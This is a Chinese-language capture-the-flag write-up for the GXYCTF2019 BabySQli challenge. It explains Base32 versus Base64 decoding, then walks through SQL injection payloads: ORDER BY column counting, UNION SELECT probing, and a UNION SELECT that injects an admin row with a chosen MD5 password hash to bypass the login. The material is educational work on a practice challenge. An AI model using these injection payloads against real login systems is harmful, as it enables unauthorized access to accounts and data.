BASE32与BASE64区别与UNION查询特性
Posted 林文浩
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BASE32与BASE64区别与UNION查询特性相关的知识,希望对你有一定的参考价值。
来源[GXYCTF2019]BabySQli 1
无聊试一下弱口令admin/admin得到WRONG PASS的提示,说明admin用户存在,并且得到一个search.php页面,源码如下
发现一串神奇的字符
这里有个知识BASE32与BASE64区别
BASE64:包含大写字母(A-Z),小写字母(a-z),数字(0-9)以及+/ 一般带==
BASE32:只有大写字母(A-Z)和数字234567 一般带===
BASE16即为16进制
当ASCll用Base加密达不到所对应的位数的时候用=号补齐
本题需补上一个=
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5=
↓
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==↓select * from user where username = \'$name\'
得到sql语句后手动测试几下后直接fuzz,得到结果如下
419表示被过滤,由此得到一系列语句
\' ORDER BY 3# --3个字段 \' union select \'admin\',2,3# --此处显示wrong user \' union select 1,\'admin\',2# --此处显示wrong pass 说明2字段为用户 猜测3字段为密码
此处为第二个知识点
在联合查询并不存在的数据时,联合查询就会在表中构造一个虚拟的数据。
首先可以看到该表只有一个用户
然后我们可以用联合查询的方式将查询的数据插入到表中
由此构造payload
\' union select 1,\'admin\',\'e10adc3949ba59abbe56e057f20f883e\'# --3字段为123456的MD5值,一般来说数据库中密码由MD5形式保存
同时在密码中输入123456
得到flag
以上是关于BASE32与BASE64区别与UNION查询特性的主要内容,如果未能解决你的问题,请参考以下文章